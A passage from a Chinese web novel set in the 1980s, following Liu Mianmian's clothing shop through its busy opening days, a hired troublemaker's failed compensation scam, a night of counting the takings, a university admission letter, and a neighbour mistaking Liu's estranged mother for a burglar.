几乎是从第一波客人进来,柳绵绵他们就一直处于不断地叠衣服、装袋、收钱、找钱的动作中,连续不断,没有一刻休息。这种状态一直持续到一点多才好一点。 一则这时候正是天气最热的时候,二则是到了吃饭的时间。 “咱们轮流去吃饭吧。”柳绵绵催着沈维云和刘婶去吃饭。 蒋红梅一屁股坐在凳子上,说:“对,你们先去吃,刘婶王叔,罗春玉你也带着倩倩去,这边我们仨先顶一会儿。” “行。”刘婶点点头。 他们几人走后不久,骆大姐端着一大搪瓷缸的绿豆汤进来了:“有味道的东西也不好在店里吃,绿豆汤没事,你们就当水喝,也垫垫肚子,这我放水里晾凉了的。” 蒋红梅:“骆大姐,你真是救了我的狗命,我感觉我不用去吃饭了,有绿豆汤就够了。” 可不是,这大热天儿的,绿豆汤就是最好的。 柳绵绵用手绢擦了把汗,说:“骆大姐,真是太感谢了,我们不客气了。” 她也不准备去吃饭了,天气热,还累,实在没什么胃口。 骆大姐笑呵呵地:“客气什么,两隔壁方便得很。前面人实在太多,我也不好过来,瞧着人少了才过来的。” 柳绵绵他们拿碗一人舀了一碗喝了起来。 说了一上午的话,都有些口干舌燥的,一口绿豆汤下去,真的感觉整个人都活过来了。 骆大姐看了眼还在衣架前挑选衣服的顾客,压着声音说:“咱们这条街上不是还有好几家服装店吗,尤其巷子那头的美好服装店,他们家的衣服也是从广市进货的,生意一直挺好的。之前你们店上报纸,他家就在外面说,大夏天的开业卖服装,上报纸又怎么样,赔不是你们。” “哪知道你们生意好成这样。咱们这一整条街,就没人开业的时候,能有你们这样的客流量。” 骆大姐声音压得更低:“今天你们这边这么热闹,他们那边可是门可罗雀的,前面他们家那个店员跑过来看了好几次,我在店里刚好看见了。他们家也是夫妻店,雇了两个店员,那两口子做生意挺黑的,之前别的店生意好,他们做了不少小动作,现在你们生意这么好,可得小心点。” 柳绵绵实在太渴,三两口就喝完了一碗绿豆汤,闻言笑道:“骆大姐,我们初来乍到的,对这条街上的商户都不熟悉,你可得多提点我们。” 骆大姐摆摆手:“嗐,这都是小事,其实罗春玉应该也知道一些,不过她是老实人,估计不太注意这些。” 正好有顾客来结账,骆大姐说了两句就走了。 中午一直到三点钟,顾客都不算太多,陆陆续续的,三点以后,尤其是快五点的时候,人就又多了起来。 快六点的时候,沈维舟、沈伯康他们过来了,也不知道他们从哪儿借来的三轮车,运了几大搪瓷缸的饭菜过来,于是柳绵绵他们就轮流到门口的三轮车上吃晚饭。 坐在三轮车上吃饭的时候,柳绵绵透过橱窗看着在里面帮忙的沈维舟他们,忍不住边吃边笑,两个研究员来帮他们收钱,他们这个小小的服装店排面可真大。 柳绵绵还听见一位顾客惊讶地说:“不是,这还没一秒钟吧,你就算出来了?等等,我自己再算算……哎哟,还真是,你算的没错。不是,这位同志你这算数水平可真不错啊,厉害了!” 被表扬算数水平厉害的沈伯康:“……” 有了沈维舟他们的帮忙,柳绵绵他们顿时轻松不少,不过等到关店的时候,一个个还是累得够呛。 柳绵绵原本还想数一下钱,核算一下今天的营业额,不过实在太累了,洗漱完了就不想动了,干脆把一整袋的钱往床底下一塞,不管它了。 就这么忙到第三天的时候,柳绵绵感觉自己脑子都嗡嗡的,哪怕他们人多,这样连续不断的搞三天,也真的是够呛。 傍晚,又一波客人涌进来的时候,一位嘴角长了颗痣的大婶走了进来,把手里的袋子柜台上一甩,大声说:“什么买三十送的确良衬衫,都是忽悠人的!这什么破衬衫,我不过擦了点肥皂搓了搓,衣服直接就破了,就这种质量,还好意思说价值三十八,三块八都不值,不对,白送都没人要!” 店里正在选衣服的顾客顿时都看了过来,脸上不禁都露出犹疑的神色。 他们中不少人都是冲着满三十元送衬衫来的,虽说过来以后发现这家的衣服确实很好看,东西好,价格也不贵,哪怕不送衬衫也很值得买。 但如果说送的衬衫有质量问题,那就说明老板是拿差东西来当噱头,欺骗顾客。 那是不是,架子上这些漂亮衣服其实质量也很差? 衣服再漂亮,要是擦点肥皂搓一搓就破了,又有什么用?他们的钱也不是大风刮来的,一件衣服怎么着也得能穿个几年吧。 大家都看了过来。 “怎么可能,我们的衣服都是料子很好的,怎么可能拿肥皂搓一搓就破?你那肥皂是钢铁做的不成?”蒋红梅这暴脾气,一开口就呛上了。 大婶立马借题发挥:“你们这什么态度,你们开门做生意,就是这样对待顾客的吗?花钱买了东西质量不行,我还不能来找你们了?可别说这衬衫是送的,不是我买的,买好几十的东西,才送这么一件衬衫呢,羊毛出在羊身上,这钱你们其实都已经挣了的。再说,你们总不能就拿这种东西来糊弄顾客吧?” 柳绵绵打开她丢在柜台上的袋子看了眼,一件湿答答的衬衫,料子非常薄,这种衬衫,且不说洗衣服的时候会搓破掉,就算不会破,穿在身上怕是也会很透吧? 衬衫明显不是他们家的东西。 这是来找茬的。 柳绵绵问:“那婶子你觉得应该怎么处理呢?” 大婶看见她检查袋子里的衣服,表情露出一丝紧张,听她这么问,顿时又不紧张了,理直气壮起来:“当然是赔钱。” 柳绵绵点点头:“赔多少钱?” 大婶眼神微闪,有人给了她一点好处,让她过来找茬,也说了,她可以向靓靓服装店要点赔偿,三五十的应该都没关系。人家开门做生意,肯定不愿意惹事,哪怕他们说衣服不是他们家,她也可以撒泼耍赖,到时候对方为了息事宁人,也不得不拿钱打发了事。 原本大婶是觉得三五十就够多了,但是进了服装店,看到里面那么多顾客,明显这家店生意非常好,大婶的心思就又活络上了。 尤其是柳绵绵的态度,让她觉得这店老板应该是个软性子的,果然是不想惹事,于是就觉得,多要一点,对方多半也会给的。 她一咬牙,说:“我买衣服花了快六十,照一赔三,你们得给我一百八。” 蒋红梅翻了个白眼:“你可真能狮子大开口。” 大婶振振有词:“那也是你们的衣服质量太差。” 柳绵绵看她一眼,低头从柜台底下拿了件衬衫,随手抖搂开,然后又把她拿来的那件也抖搂开,一起铺在柜台上,说:“你自己看看,这两件衣服的质量一样吗?你这件衣服明显不是我们店里出去的,而且不过一件三十多块钱的衣服,你居然狮子大开口,要一百八的赔偿。” 顿了下,柳绵绵勾唇讽刺一笑:“我看你不是来要赔偿的,你是来敲诈勒索的,你等等,公安应该马上就到了。” 大婶:“………………” 不是,她是想来要钱,可是她不想去派出所啊! “我我我,我可能是认错了,我不要你们赔了还不行吗?” 大婶一把抓过那件湿衬衫,拔腿就想跑,不过没到门口就被王叔拦住了:“你等等,公安马上到了。” 王叔原本是只请了一天假的,但这边每天人实在太多,他不放心,就又请了两天。 刘婶也赶紧跑过去拽住人:“你看我们生意好就来找茬是吧,你可不能走!” 大婶被老两口控制住,吓得脸都白了:“你们放了我吧,我就是收了别人几块钱,过来捣个乱的,我真不是来敲诈勒索的!你们放了我,这活儿我也不干了,我保证再也不来捣乱了行不行?” “这话你和公安说去,主动交代,还能争取宽大处理。”柳绵绵道。 没多久,公安真来了,还是上回处理刘乐平的那位,听柳绵绵介绍完情况,就把大婶带走了。 那些观望的顾客顿时又动了起来,这家生意都好到有人要来找茬捣乱了,都说群众的眼睛是雪亮的,这说明他们家东西好啊! 最后一天活动了,赶紧买买买! 第56章 喜闻乐见且激动人心 开业这三天真是把柳绵绵他们累得够呛,而且第四天还是周日,哪怕没有了开业活动,店里生意也非常好。 一开始是不确定店里生意怎么样,加上他们闲着能过来帮忙的人手挺多的,所以事先也就没有考虑招人的事情。毕竟,如果生意一般般,那平时交给罗春玉,然后他们其他人轮流着过来搭把手,是完全忙活得开的。 哪怕柳绵绵对这个时代做个体户有信心,也没想到他们能一炮而红不是? 不过从第一天人差点把那么大一家店挤爆开始,柳绵绵就琢磨着要多招两个人了。可惜太忙了,一时也腾不出手来。她倒是托付骆大姐帮忙寻摸了,但是人寻摸来了,她也没时间好好跟人聊聊。 直到第五天,店里的客流量明显下降,她才终于有时间见见骆大姐推荐的两个人。 两个姑娘一个姓纪,一个姓曹。 小纪的哥哥是骆大姐照相馆的学徒,小姑娘个子不高,脸圆圆的,带点稚气,不过嘴甜,见人就喊。小曹是骆大姐照相馆一个老顾客推荐的,她家在三庆巷,就是原先罗春玉租过房子的那个巷子,离这边不太远。小曹年纪大一点,说话做事还挺沉稳。 柳绵绵把两个人都留下了,让罗春玉带她们,罗春玉做事还挺靠谱的,性格温和却不软弱,做店长是很合适的。柳绵绵虽然没说,但她内心就是把罗春玉当这个店的店长了,她工资也比其他两人稍微高一点。 店里多了营业员,顾客却少了一大截,那就不需要他们其他人再成天杵着了。 安排好店里的事情,这天下午大家齐聚求知巷9号,开始做一件喜闻乐见且激动人心的事情:数钱! 这几天实在太忙,每天营业结束大家都只想赶紧回家睡觉,虽然也好奇到底挣了多少钱,但是体力不允许他们好奇,所以每天收的钱都是被柳绵绵袋子一装直接塞进了床底下。 现在大家缓过劲儿来了,自然是要赶紧清点一下钱数了。 当然,其实柳绵绵、蒋红梅他们心里大致是有个数的,卖了多少货、还剩多少货,大致的情况他们是知道的。不过有数归有数,到底和一大袋一大袋钱放在面前的感觉是不一样的。 至于沈维云和刘婶,哪怕这些钱没她们的份儿,可这里面凝结着她们的劳动呀! 那么好的生意,忙得她们喉咙都喊哑了,她们也是很好奇到底有多少钱的。 再说,一大袋子一大袋子数钱的感觉是真的很不错呀! 柳绵绵买了一大袋橡皮筋,大家一边数一边把纸币分面额捆扎好,这样重新核算的时候就一目了然了。 “谁能想到呢,有一天我能数钱数到手都酸了。”刘安民乐呵呵地说。 “这才哪儿到哪儿啊,咱们以后肯定能挣更多的钱。”自从跟柳绵绵合伙,蒋红梅挣钱的信心真的是不断、不断的高涨,而且,这才开业几天呢,他们就挣了这么多,以后能挣更多不是再正常不过? “那当然,等咱们这个店生意稳定了,就再开几家店,本钱再多一点,咱们就可以投资搞服装厂了,可以南城搞一个,广市搞一个,两边可以用同一套设计,南城这边的厂子可以辐射周边省市,广市的厂子供应批发市场,把货卖到全国各地去。” 柳绵绵边数钱,边畅想未来:“咱们可以先做中低档产品,等以后国家经济起来了,再弄个自创品牌,做高端产品。到时候去国外参加服装展览,打响我们自己的民族品牌。” 其他人:“……” 蒋红梅忍不住说:“我从小就觉得我爸是个吹牛大王,他那个车间主任我感觉都是他吹牛吹出来的,现在发现,跟你一比,他那都不好意思叫吹牛。他顶多就吹吹自己技术在厂里数一数二,在南城名列前茅,你这都快吹到天上去了。妈呀,还办厂,还去国外参加服装厂,打响民族品牌,我做梦都从来不敢做这么大。” 顶多也就是自己开个店,挣了很多钱之类的。 不过,这个梦想好像已经实现了。 “所以说啊,你的梦想太小了,这不三下五除二的就实现了?人就该有点遥不可及的梦想。就好比目标是一百公里,那么咬紧牙关努力奋斗,最后达到了八十公里,虽然没有完成梦想,但是你到达了八十公里。而如果目标是十公里,你努力奋斗完成了,但实际你最终到达的也只有十公里。” 柳绵绵开始给蒋红梅猛灌鸡汤:“目标定的远一点,你才有可能走得远一点,这可不是吹牛皮,这是纵使囿于方寸,也要心向星辰大海。” “而且,你有这个能力,要相信自己。” 蒋红梅在挣钱这个事情上是有一股子执拗劲儿的,柳绵绵很看好她,这是个很有潜力的投资对象,所以必须激励她继续向更远大的目标奋斗。 开个店就满足了怎么行,八九十年代正是奋斗的时候。 柳绵绵自己不想奋斗,太累了,上辈子她就是加班猝死的,她是真的有阴影。挣钱归挣钱,奋斗是不想奋斗的,所以她思来想去,感觉还做投资,督促别人奋斗更适合她的体质。 蒋红梅被灌鸡汤灌得晕头转向,茫然问刘安民:“我有这个能力?” 刘安民看一眼表情坚定得仿佛在念誓词的柳绵绵,也很茫然:“……可能有的?” 他们就是一起搭伙倒卖点布料、服装什么的,以后能办厂,还能打响民族品牌? 刘安民恍恍惚惚,可转念一想,换了两个月前,他敢想自己能跟人合伙开店,并且开业几天就挣下这一大堆的钱吗?那必然也不敢呐。 刘安民看向柳绵绵,好像跟着柳同志干,就一切皆有可能? “肯定有的啊,我大嫂说有,那必须就有!”沈维云可不像蒋红梅他们想的那么多,她周边有很多优秀的人,父母、哥哥都是为国家建设作出极大贡献的人,再多一个做服装厂、打响民族服装品牌的,有什么奇怪的? 她爸爸妈妈背后都说,嫂子很有经商头脑,是目前国家最需要的那类人才呢。 “哎哟,先不管服装厂了,先管管眼前吧,多少钱了?”刘婶把手里最后一叠纸币数清楚了,向柳绵绵报了个数,然后就双眼发亮地看着柳绵绵。 柳绵绵在笔记本上记下大家报的数字,沈维云抻着脑袋边看边心算,不过没等她算出来,柳绵绵先算出来了:“一共是两万八千六百零五块钱。” 沈维云晚了一步算出来,答案是一样的,她顿时惊呼:“大嫂,你心算好快,比我快!”然后又马上尖叫起来:“啊啊啊,两万八千多,天呐,这几天挣了这么多钱吗,啊啊啊,这么多这么多这么多!” 柳绵绵心里本来就有底,倒是不像沈维云这么惊讶,反而冷静提醒:“这是营业额,还要扣除成本的,我们的成本是一万一千块钱,除掉剩下就是一万七千六百零五元,加上还没卖掉的货。” 因为直接把成本减去了,剩下那些货就都是利润的。 当然,这是还没有算店铺租金和人工的费用。 不过就算扣除这些七七八八的支出,估计总体至少能挣个两万多,她占股百分之四十五,估计能挣个一万左右。 就算是柳绵绵,也不禁感叹,做生意可真挣钱呐! 家里上班的人正好都回来了,王叔推开门就笑:“我们今天可是巧,正好都在巷子口碰上了,在门外就听见维云的声音了,说什么事情呢,这么激动?” 沈伯康和俞婉跟在他后面,俞婉笑道:“都快要去上大学了,还跟个小孩子似的,一惊一乍的。” 沈维舟走在最后,把院门关上后,才说:“他们数钱呢,估计是挣了不少钱了。” 沈维云冲自家大哥竖了个大拇指:“哥你猜这几天咱们挣了多少钱?” 家里每个人都出力了,这钱四舍五入就是大家一起挣的。 沈维舟随口道:“两万不到吧。”他是根据店里的人流量和柳绵绵告诉他的利润率推算的。 沈维云:“……” 跟大哥说这些真是毫无成就感,这么无趣的大哥,也不知道大嫂是怎么忍受下来的。 俞婉他们倒是十成十表示了惊讶,不禁再次感叹,做生意可真是挣钱呐。 王叔不禁说:“知道做生意挣钱,可真是不知道能这么挣钱。那个谁,孙老二,不是经常跑我们厂里弄酒带去外地卖嘛,我原先猜着他可能能多挣个工资钱,这么看来,可能不止啊!” 多挣一份工资钱,就够让人不少人羡慕了。 但如果是多挣别人半年一年的工资呢? 别说,就连王叔这样久经考验的战士都忍不住有些心动啊! “也不是人人都挣钱的,做生意亏掉的也不少。而且,从南边进货,风险也是很大的,这几年路上越来越不太平,小蒋,小刘,你们出门可一定要注意安全。” 家里上班的人中,也就俞婉在国防工业办,对接不少厂子,对各种情况也了解的更多一些。 她可是听说,有刚去南方就被骗光了钱的,有好不容易弄到货却在路上被抢走的,甚至还有出去了就下落不明再也没回来的,当然,还有做什么亏什么的。 所以说,做生意可能确实来钱快,但并不是随便谁都能挣钱的。 蒋红梅和刘安民点头,他们自然也是听说了一些传闻的,更是明白挣钱没有命重要这个道理,所以出门都会做一些伪装,主要也是为了不引起注意,保护自己。 柳绵绵从捆扎好的钱堆里拿出几捆:“这几天大家都辛苦了,爸爸、妈妈、沈维舟,每人五十元劳务费,刘婶、王叔、维云还有我们自己几个,每人一百元劳务费。” 钱都是点数好的,柳绵绵直接把钱给分了。 沈伯康有些意外:“我也有?” 柳绵绵:“爸爸您出力了,当然要有。” 沈伯康笑了起来:“我这还挣上外快了。” 他老老实实把钱递给俞婉,俞婉也笑了起来:“这是你自己劳动所得挣的外快,你自己收着当私房钱吧。” 沈伯康马上愉快地把钱收了起来:“这五十块钱很有意义,我要把它收藏起来。” 那边拿到一百块钱的王叔主动向刘婶要求:“这也给我当私房钱吧,我改天喊几个战友一起下馆子去。” 刘婶摆摆手:“行吧行吧,一百块钱就给你乐成这样。”如今的刘婶早已不是当初的刘婶了,她可是有了副业,一个月挣的比王叔还多的刘婶了,一百块钱虽然不少,但其实也不难挣的。 沈维舟拿了五十块钱,看向柳绵绵:“是上交,还是给我当私房钱?” 从前进乡回来后不久,沈维舟就把自己的存折给了柳绵绵,数字非常的可观,所以现在柳绵绵手头流动资金可真是不少。沈维舟平时基本用不到钱,而且最近他那个项目发了一笔奖金,要买什么,他就直接拿奖金买了。他这么问,就是想逗逗媳妇儿。 柳绵绵还沉浸在挣钱的喜悦中,大方说:“你留着当私房钱吧!” 沈维舟无奈看她一眼,随手把钱塞进兜里,既如此,回头给她买点吃的好了。 之所以挣这么多钱,自然也是因为货其实也卖得七七八八了,蒋红梅手里倒是有广市批发商的电话,但是山高路远的,他们不敢一次打太多钱,对方也不敢一次给他们发太多货,所以最近她和刘安民肯定得再去一趟广市。 柳绵绵就和她商量,他俩其实可以留一个在广市,专门负责挑货发货,顺便也熟悉一下那边的情况,为后面开服装厂做准备。 蒋红梅咋舌:“你还真准备开服装厂?” 柳绵绵摇头,蒋红梅松了口气,心想就知道她只是说说,哪想紧接着就听柳绵绵说道:“不是我准备,是你准备,加油,我看好你!” 蒋红梅:“……” 柳绵绵这么看好她,不会是她真有什么特殊的商业才能,自己一直没发现吧?说回来,她其实也觉得自己有点做生意的天分的,虽说脾气暴躁了些,但眼光还是很准的,人也活络……蒋红梅若有所思。 “还有你,刘安民同志,你也可以的,加油!”柳绵绵深谙一碗水端平的道理,给刘安民也灌了一碗鸡汤。 刘安民:“……是吗?” 他不是很确定,但是看着眼前扎成一捆捆的纸币,又觉得能在这么短的时间里就挣到这么多钱,虽然这里面主要的功劳是柳绵绵的,但是他其实也付出了很多,成功也离不开他的努力,所以,他其实也很有能力的……刘安民也若有所思。 最后他们商量决定,这次挣的钱,各自分一点,大头仍然作为本金投入进货,力求早日挣到钱开服装厂。 眼睁睁看着蒋红梅和刘安民被自家媳妇儿忽悠得差点找不到北的沈维舟:“……”也不知道究竟是哪个地方、什么样的环境,才能养出他媳妇儿这样的个性。 一群人正分钱分得高兴,院门突然被敲响,柳绵绵反应很快,欻欻欻地,就把一捆捆的纸币扔回了破布袋子。 看着她这一套行云流水的动作,沈维舟不禁嘴角微抽,别看他媳妇儿热衷挣钱,但有时候其实又挺有视金钱如粪土的气势,要不是知道她扔的是一两万的钱,还以为她扔的是什么废纸呢。 王叔去开了门,在门口跟人一通交涉,然后猛地提高了嗓门儿:“维云,沈维云,你的录取通知书到了——” 院子里大家先是愣了一下,随即马上站了起来。 沈维云怔住了,被柳绵绵推了一下,才又高兴又激动地蹦了起来:“啊啊啊,我的通知书到了对吗,啊啊啊,我考上大学了,我考上大学了啊啊啊!” 柳绵绵也笑了起来,是啊,原书里那个被逼得走投无路,无奈纵身跃下高楼的女孩,考上大学了,她的命运也注定与原书截然不同了。 “首都医科大,听说是数一数二的医科大学啊,小姑娘厉害了!来,这里需要本人签个字。” “好的,谢谢叔叔,我,我真是太高兴了!” 门口传来沈维云和邮递员的交谈声。 沈维舟没有走过去,听着沈维云叽叽喳喳的声音,忽然有种恍然若梦的感觉。 上辈子的一切,好似梦幻泡影。 他扭头看向柳绵绵,现在这样,真好。 第57章 踩点干坏事? 一晃几个月过去。 期间蒋红梅和刘安民往返南城和广市好几趟,后面刘安民干脆就在广市批发市场附近租了个房子,直接在那边住下了。 别看刘安民是个大老爷们儿,经过一次次挑货卖货的经历,加上服装店每个月都会总结各款服装的销货速度,倒是让他很快掌握了挑货的诀窍。 广市卖得特别好的,南城倒是未必,因为南城这边相对广市还是要保守一些,有些太过出挑的款,买的人反倒没那么多。稍微出挑一点就行了,有点小特色的,是卖得最好的。 蒋红梅倒是没有继续留在广市,因为南城这边,他们又开了两家店,柳绵绵这位大股东,是不乐意管太多的,所以蒋红梅得自己回来管。 蒋红梅倒是很乐意。 这谁不乐意啊,三家店,每家店都哗哗地挣钱。现在南城不少人都认“靓靓服装店”的牌子了,他们进货都直接让人厂方给打上靓靓的牌子了。广市那边不少批发商是自己有工厂的,只要进货量大,这种都是小事情。 他们每家店都雇了三名店员,加上广市那边刘安民雇了一个人帮忙,这加起来都有十个员工了。 也就大半年时间,现在蒋红梅走出去,人家都要喊她蒋老板了。 因为她现在钱挣得多,她爸妈都对她客气了不少。他们家就是姐弟俩,弟弟还在读高中。以前父母藏着掖着,生怕她抠家里的东西,现在倒是不怕了。反正也知道她的性格,想让她给弟弟奉献是不可能的,但是她自己有了,也不会惦记家里那点。所以家里倒是和谐了不少。 相对他们家,倒是隔壁的柳家,最近鸡飞狗跳的。 投资君子兰的事情,丁明霞一直是瞒着家里的。蒋红梅猜测她一开始是准备挣了钱就自己捏着当私房钱,后面亏了,就更不敢说了。反正柳志刚不管事的,家里钱多了少了也未必知道。 就这,蒋红梅还碰见几回丁宝俊过来找丁明霞要钱呢,丁明霞又要补自己的窟窿,又要补弟弟的窟窿,这窟窿越补越大,然后终于被柳永捷给发现了。 柳永捷也是看蒋红梅在外头生意做得如火如荼,他看着眼热,琢磨着在军工厂当工人没意思,他爹也不帮他“活动”,还不如搞点钱做生意呢。 作为家里受宠的长子,他自然知道丁明霞藏钱的位置,他也没跟丁明霞说,趁着某次调休,就去老两口屋里找了存折。 这一看就不对了,怎么这几个月只有出账没有进账,而且出账都是大笔大笔的? 好嘛,全家人一起追问丁明霞存款的下落,丁明霞哪里还扛得住? 柳志刚父子俩跑去丁家闹了一通,丁家老两口又跑来军工大院闹了一通,闹得整栋楼都对他家的那点事了如指掌了。 “最近我可是隐约听见好几次你的名字了,柳锦诗去了西北,他们鞭长莫及,没准就得来找你。”蒋红梅剥了个桔子,边吃边说。 柳绵绵靠在躺椅上,无所谓道:“首先他们得找得到我,其次他们得说得过我,唔,其实打架我也不怕的。” 想到之前赶大集时被辣椒水泼了一脸的摊主,蒋红梅:“……” “行吧,我就是过来给你提个醒儿,我去店里了。”蒋红梅站起来。 柳绵绵问:“真的不办服装厂?” 蒋红梅:“……这都年底了,办也来不及,明年再说吧。”看看,才几个月时间,她都已经习惯成自然了,听见柳绵绵说办服装厂,都已经见怪不怪,非常淡定了。 甚至,拥有了三家哗哗挣钱的店面后,她和刘安民还真的悄悄讨论过盘个批发档口或者是弄个服装作坊的事情。 一步到位开大服装厂可能做不到,但是广市那边也有很多十几二十个人的作坊,抄一大公司的版,也有直接抄港城的版的,做好就直接拿去档口批发。 年底这阵子他们应该能挣不少,几个大衣、羽绒服的款式都卖得非常非常好,等开年或许真可以租个地方弄个小作坊……钱不够柳绵绵肯定有,反正她和刘安民早商量好了,得一直拉着柳绵绵给他们投资。 柳绵绵这人是有点神奇的,别看她成天懒洋洋的,但她的脑子是真好用,而且,蒋红梅和刘安民默默觉得,柳绵绵是有点“运道”在身上的。 逢凶化吉,遇难呈祥,财源滚滚什么的。 这些词儿好像都能套在她头上。 蒋红梅和刘安民都不是在被人宠爱的环境中长大的,他们的人生都是靠着自己磕磕绊绊的努力走过来的,所以就更加觉得,和柳绵绵这种有“运道”的人一起做生意,他们才能走得更顺。 反正从卖布料开始,他们就挺顺的,一辈子都没这么顺过的俩人,自然希望以后都能这么顺。 柳绵绵倒是不知道蒋红梅的想法,她问蒋红梅,其实就是想确定一下蒋红梅是不是暂时没有办厂的打算,那么她就准备把手头的钱拿去前进乡办厂了。 前两天余国梁打电话过来,说鱼塘的鱼已经肥了,山地上种的花生都采收完晒干了,甚至接茬的油菜、苜蓿都已经种回去了,最近地里活儿少了,余国栋那被一推再推的婚礼,也就准备排上日程了,让她和沈家人都一起回去喝喜酒。 柳绵绵听他说前进乡后来动员了好几个村子种新品种的花生,一开始不少人都不乐意,只有一些村干部,做表率领了任务,也有一些人是冲着乡里给免费种子,也领了一些,现在花生收获以后,那些人都乐坏了。 因为新品种的花生产量和出油率都特别高。 柳绵绵打听了下前进乡花生种植的面积,顿时觉得当初说好的榨油厂可以办起来了,正好趁着年底大家用油量大,可以挣一波,然后明年养殖场也可以弄起来了,毕竟除了油渣饼,还有那么多轮作的苜蓿呢。 柳绵绵准备拿一部分钱去前进乡做投资。 听说要去前进乡喝喜酒,沈伯康他们倒是也兴致勃勃,只不过沈伯康最近手头有个研究,正处于紧要时刻,没时间去,而俞婉则是要出差去京市,正好能顺道去看看沈维云,于是也只能遗憾作罢。 最后倒是刘婶和王叔跟着柳绵绵他们一起去了。 王志远在前进乡一待就是几个月,中途都没回过南城,虽说他早打电话来说过年前就会回来,老两口到底心里记挂着,有机会就想亲自去前进乡看看。 当初觉得他赖在前进乡跟着养鱼种地,听着实在不靠谱,现在倒是听说干得还不错? 这天吃过早饭,几个人就大包小裹地去了车站。 俞婉提前一天去了京市,沈伯康一个人在家没吃没喝的,干脆也收拾了日常用品回研究所宿舍住去了。 所以他们谁也不知道,就在柳绵绵他们出门后不久,丁明霞找来了求知巷。 丁明霞也是没办法了,儿子天天逼着她拿钱出来,弟弟那边也天天被逼债,可她哪里还有钱?所剩不多的钱都在存折里,柳志刚直接把存折锁到他办公室的抽屉里去了,家里谁也别想拿到手。 最后还是儿媳提醒她,说柳绵绵和蒋红梅一起做生意了,而且,哪怕她不做生意,沈家也有钱啊!不管是亲闺女还是亲家,这种时候,怎么的也该帮衬他们一把吧? 丁明霞是有些犹豫的。 当初亲闺女回城,一开始她看着闺女长得不错也有高中学历,以后没准也能找个不错的婆家,所以也试着笼络了一段时间。 可没多久就发现,这孩子脾气坏还自私,加上也确实没多少感情,时间稍微一长,也就没什么好态度了。 扪心自问,她确实没花多少心思在对方身上,加上两千块钱彩礼的事,还有锦诗算计对方的事,丁明霞也知道,柳绵绵对他们一家子是不会有什么好脸的。 可实在是被儿子和弟弟逼得没办法,想想豁出自己一张老脸,要能平了弟弟的外债,能弄到钱给儿子做生意,其实也是值得的,这才鼓着勇气来了求知巷。 丁明霞记得沈家是求知巷9号,可敲了半天也没人开门。 正好曹大妈路过,她打量丁明霞一眼:“你谁啊?” 曹大妈态度可不好,满脸的警惕戒备,他们求知巷这一片可是出了名的条件好,说不准就有人过来踩点准备干坏事呢?她可是很有生活经验的,不会因为丁明霞穿着打扮得体,又一副温和柔弱的样子就对她放松警惕。 她又不是那些眼瞎的大老爷们儿,看到装模作样的女人,就一下子被骗住,她最能辨别这些狐狸精了。 眼前这个就不像什么好人,年纪一大把了,还装什么柔弱。 丁明霞完全不知道,她还没开口,曹大妈就已经在心里给她打了个大大的叉,她温柔地笑笑,说:“我是这家儿媳妇的亲妈,您是附近邻居吧,我闺女柳绵绵,您认识吗?” 曹大妈打量她一眼,表情更加警惕了,她说:“你是柳绵绵亲妈,我怎么没见过你?而且,你既然是柳绵绵亲妈,你不知道他们家不上班的几个都去乡下喝喜酒了吗?” 这年头办婚礼是大事,一般沾亲带故的,都会被叫到,就算没被叫到,亲闺女一家子去乡下喝喜酒,亲妈还能不知道? 丁明霞暗暗懊恼来得不是时候,转念一想,又想到沈家人都是南城本地的,老一辈的据说战争年代都死的死、散的散了,他们可没什么乡下的亲戚,那么乡下的亲戚只能是……余家! 那死丫头不和近在咫尺的亲生父母搞好关系,倒是和那一家子泥腿子这么亲热,还千里迢迢跑去喝喜酒,可真是不知所谓。 丁明霞暗暗生气,面上却笑了下,说:“可能是什么八竿子打不着的亲戚吧,年轻人贪玩,过去凑凑热闹也是有的。” 嘿,这就越说越不对了。 曹大妈可是知道的,刘婶这几个月都在帮乡下的那个亲戚卖萝卜条,吸溜,那萝卜条腌的是真好吃,她都买过好几次,他们家大大小小的都喜欢吃……这不是最重要的,最重要的是,刘婶亲口说过的,那是柳绵绵的干娘,关系可好了。 这自称亲娘的,不知道亲闺女去干娘那里喝喜酒了,还说干娘家是八竿子打不着的亲戚。 这明显骗人呐! 眼看丁明霞要走,曹大妈一下子就窜了过去,伸手一把薅住丁明霞的头发,啪啪啪先抽了她一顿,然后放声大叫:“来人啊,有人来踩点干坏事啦,偷钱啦,抢劫啦,拐小孩儿啦——” 虽说对方踩的是沈家的点,可他们家离得也不远啊,保不准她去他们家也踩过点了呢?曹大妈可一直觉得,自家的条件在求知巷也是数一数二的,所以对出现在巷子里的陌生人,一向都是警惕又警惕。 丁明霞在她眼里,那就是漏洞百出得跟个筛子差不多了,这必须得好好教训一顿,让她和她的同伙儿知道知道厉害。 曹大妈一通大吼,很快引来了附近的邻居,大家过来看到曹大妈薅住对方正一顿猛抽,以为这个女人是正干坏事被曹大妈当场抓住了,这还等什么,赶紧的上去帮忙。 帮忙的同时,自然也有“正义”人士趁乱也给了丁明霞几下。 丁明霞倒是一直喊着“我不是,你们误会了”,可这乱糟糟的,谁会听他们的? 等到不知谁喊的公安过来时,丁明霞已经被打得鼻青脸肿了。 而此时,一无所知的柳绵绵已经坐上了去往前进乡的汽车。 在乡里下了车,柳绵绵他们先去国营饭店吃了午饭,然后才找了辆拖拉机,花三块钱请对方送他们去留下村。 “你们是城里来的吧,去留下村走亲戚?”开拖拉机的大叔随口问。 刘婶笑呵呵地:“咱们是来喝喜酒的。” 大叔明白了:“是去老余家喝喜酒吧?听说留下村老余家承包了两个村子的池塘和山地,那鱼养的,又肥又大,头一茬就卖了不少钱。他家算是翻身了,这一开始还不少人嘲笑他们呢,说他们想挣钱想疯了,现在可没人这么说了,都羡慕呢!最近咱们这附近的几个村子,养鸡的、养猪的、种树的都多了,大家都想学着挣点钱呢。” 没想到余国梁他们还成了前进乡的风云人物了。 刘婶和王叔顿时与有荣焉。 拖拉机开起来以后,声音太响了,大叔倒是没再说什么。 大冷天的坐拖拉机真是谁坐谁知道,反正柳绵绵用围巾把自己包得只剩一双眼睛露在外面,也还是感觉差点被吹傻了,后面干脆就把沈维舟当人形挡板,窝在他怀里,坚决不冒头。 沈维舟体温一向偏低,但他其实不怕冷,异世时冰天雪地生存是家常便饭,异能虽然已经消失,但他的身体其实比这个世界的一般人都要强悍。 拖拉机刚开到村口,路旁一个皮肤黢黑的小伙子突然从旁边的竹林里钻了出来,冲着他们一通大喊:“妈,爸,维舟——” 拖拉机停下来。 王志远冲了过来,满脸激动:“爸妈,你们怎么也来了?” 刘婶一下车就抡起手拍了王志远好几下:“你说呢,出来一趟人就丢了,也不知道回家看看。” 王志远连连讨饶:“妈,妈,我这不是忙着吗,太忙了没时间……” 